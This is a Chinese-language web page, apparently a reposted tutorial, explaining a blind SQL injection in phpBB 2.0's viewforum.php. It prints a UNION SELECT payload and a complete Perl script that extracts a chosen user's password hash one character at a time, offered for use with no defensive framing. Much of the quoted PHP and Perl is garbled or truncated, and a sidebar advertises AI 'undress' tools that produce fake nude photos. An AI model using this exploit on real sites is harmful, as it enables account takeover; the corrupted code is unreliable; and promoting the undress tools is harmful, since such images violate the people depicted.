php注入實例_PHP教程
php注入實例
在網路上很難看到一篇完整的關於php注入的文章和利用程式碼,於是我自已把mysql和php硬啃了幾個星期,下面說說我的休會吧,希望能拋磚引玉!
相信大家對asp的注入已經是十分熟悉了,而對php的注入比asp要困難,因為php的magic_gpc選項確實讓人頭疼,在註入中不要出現引號,而php大多和mysql結合,而mysql的功能上的缺點,從另外一人角度看確在某種程度上防止了sql njection的攻擊,我在這裡就舉一個實例吧,我以phpbb2.0為例:
在viewforum.php中有一個變數沒過濾:
if ( isset($HTTP_GET_VARS
$forum_id = (URL]) )
{
($HTTP_POST_VARS
else if ( isset($HTTP_GET_VARS['forum']))
{
$. HTTP_GET_VARS['forum'];
}
else
{
$forum_id = '';
}
就是這個forum,而下面直接把它放進了查詢中:>}
就是這個forum,而下面直接把它放進了查詢中:
if ( !empty($forum_id) )
{
$sql = "SELECT *
FROM " . FORUMS_TABLE . "
WHERE forum_id = $forum_id"; sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'Could not obtain forums information', '', __LINE__, __FILE__, $sql)
; 🎜>}
else
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');
}
如果是asp的話,相信很多人都會注入瞭如果這個人指定的指定的論壇不存在的話,就會使$result為空,於是返回Could not obtain forums information的信息,於是下面的代碼就不能執行下去了
//
// If the query doesn't return any rows this isn't a valid forum. Inform
// the user.
//
if ( !($forum_row = $db->sql_fetchrow($result)) )
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');
}
//
// Start session management
//
$userdata = session_start(puser_y_ippft_puser_user_ips_y_pot_ipp_user_y_Pg_b; ****************************************
關鍵就是打星號的那一行了,這裡是一個函數session_pagestart($user_ip, $thispage_id),這是在session.php中定義的一個函數,由於代碼太
長,就不全貼出來了,有興趣的可以自已看看,關鍵是這個函數也呼叫了session_begin(),函數呼叫如下session_begin($user_id, $user_ip,
$thispage_id, TRUE)),同樣是在這個檔案中定義的,其中有下列程式碼
$sql = "UPDATE " . SESSIONS_TABLE . "
SET session_user_id = $user_id, session_start = $current_time, session_time = $current_time, session_page =
WHERE session_id = '" . $session_id . "'
AND session_ip = '$user_ip'";
if ( !($result = $db->sql_query($)) ││ ! $db->sql_affectedrows() )
{
$session_id = md5(uniqid($user_ip));
$sql = "INSERT INTO " . SESSIONS_TABLE . "
(session_] session_user_id, session_start, session_time, session_ip, session_page,
session_logged_in)
VALUES ('$session_id', $pageuser_id, $current_time, $current_time, '$session_id', $pageuser_id, $current_time, $current_time, '$log;
if ( !($result = $db->sql_query($sql)) )
{
message_die(CRITICAL_ERROR, 'Error creating new session : session_begin', '', __LE__, __FI % >
$sql);
}
這裡有個session_page在mysql定義的是個整形數,他的値$page_id,也就是$forum_id,如果插入的不是整形就會報錯了,就會出現Error
creating new session : session_begin的提示,所以要指這$forum_id的值很重要,所以我把它指定為:-1 union select 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1 from phpbb_users where user_id=2 and ord(substring(user_password,1,1))=57,沒有引號吧!雖然指定的是一個不存在的forum_id但他返回的查詢結果可不一定是為空,這個就是猜user_id為2的用戶的第一位密碼的ascii碼值是是否為57,如果是的話文章中第一段程式碼中的$result可不為空了,於是就執行了ession_pagestart這個有問題的函數,插入的不是整數當然就要出錯了,於是就顯示Error creating new session : session_begin,就表明你猜對了第一位了,其它位類似.
如果沒有這句出錯訊息的話我想即使注入成功也很難判斷是否已經成功,看來出錯訊息也很有幫助啊.分析就到這裡,下面附上一段測試程式碼,這段程式碼只要稍加修改就能適用於其它類似的猜md5密碼的情況,這裡我用的英文版的返回條件,中文和其它語言的只要改一下返回條件就行了.
use HTTP::Request::Common;
use HTTP::Response;
use LWP::UserAgent;
$ua = new LWP::UserAgent;
print " ***********************n";
print " phpbb viewforum.php expn";
print " code by pinkeyesn" ;
print " www.icehack.comn";
print " ************************n";
print " please enter the weak file's url:n";
print "e.g. http://192.168.1.4/phpBB2/viewforum.phpn";
$adr=
chomp($adr);
print "please enter the user_id that you want to crackn";
$u=
chomp($u);
print "work starting,please wait!n";
@pink=(48..57);
@pink=(@pink,97..102);
for($j=1;$jfor ($i=0;$i$url=$adr."?forum=-1 union select 1,1,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from phpbb_users where%
20user_id=$u and ord(substring(user_password,$ j,1))=$pink[$i]";
$request = HTTP::Request->new('GET', "$url");
$response = $ua->request( $request);
if ($response->is_success) {
if ($response->content =~ /Error creating new session/) {
$pwd.=chr($pink [$i]);
print "$pwdn";
}
}
}
}
if ($pwd ne ""){
print "successfully,The password is $pwd,good luckn";}
else{
print "bad luck,work failed!n";}
至於最近的phpbb2.0.6的search.php的問題利用程序只要將上面程式碼稍加修改就行了,如要錯誤請上www.icehack.com指正.

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

記事本++7.3.1
好用且免費的程式碼編輯器

SublimeText3漢化版
中文版,非常好用

禪工作室 13.0.1
強大的PHP整合開發環境

Dreamweaver CS6
視覺化網頁開發工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

PHP主要是過程式編程,但也支持面向對象編程(OOP);Python支持多種範式,包括OOP、函數式和過程式編程。 PHP適合web開發,Python適用於多種應用,如數據分析和機器學習。

PHP在數據庫操作和服務器端邏輯處理中使用MySQLi和PDO擴展進行數據庫交互,並通過會話管理等功能處理服務器端邏輯。 1)使用MySQLi或PDO連接數據庫,執行SQL查詢。 2)通過會話管理等功能處理HTTP請求和用戶狀態。 3)使用事務確保數據庫操作的原子性。 4)防止SQL注入,使用異常處理和關閉連接來調試。 5)通過索引和緩存優化性能,編寫可讀性高的代碼並進行錯誤處理。

PHP用於構建動態網站,其核心功能包括:1.生成動態內容,通過與數據庫對接實時生成網頁;2.處理用戶交互和表單提交,驗證輸入並響應操作;3.管理會話和用戶認證,提供個性化體驗;4.優化性能和遵循最佳實踐,提升網站效率和安全性。

PHP適合網頁開發和快速原型開發,Python適用於數據科學和機器學習。 1.PHP用於動態網頁開發,語法簡單,適合快速開發。 2.Python語法簡潔,適用於多領域,庫生態系統強大。

PHP起源於1994年,由RasmusLerdorf開發,最初用於跟踪網站訪問者,逐漸演變為服務器端腳本語言,廣泛應用於網頁開發。 Python由GuidovanRossum於1980年代末開發,1991年首次發布,強調代碼可讀性和簡潔性,適用於科學計算、數據分析等領域。

PHP的核心優勢包括易於學習、強大的web開發支持、豐富的庫和框架、高性能和可擴展性、跨平台兼容性以及成本效益高。 1)易於學習和使用,適合初學者;2)與web服務器集成好,支持多種數據庫;3)擁有如Laravel等強大框架;4)通過優化可實現高性能;5)支持多種操作系統;6)開源,降低開發成本。

PHPhassignificantlyimpactedwebdevelopmentandextendsbeyondit.1)ItpowersmajorplatformslikeWordPressandexcelsindatabaseinteractions.2)PHP'sadaptabilityallowsittoscaleforlargeapplicationsusingframeworkslikeLaravel.3)Beyondweb,PHPisusedincommand-linescrip

PHP適用於Web開發和內容管理系統,Python適合數據科學、機器學習和自動化腳本。 1.PHP在構建快速、可擴展的網站和應用程序方面表現出色,常用於WordPress等CMS。 2.Python在數據科學和機器學習領域表現卓越,擁有豐富的庫如NumPy和TensorFlow。
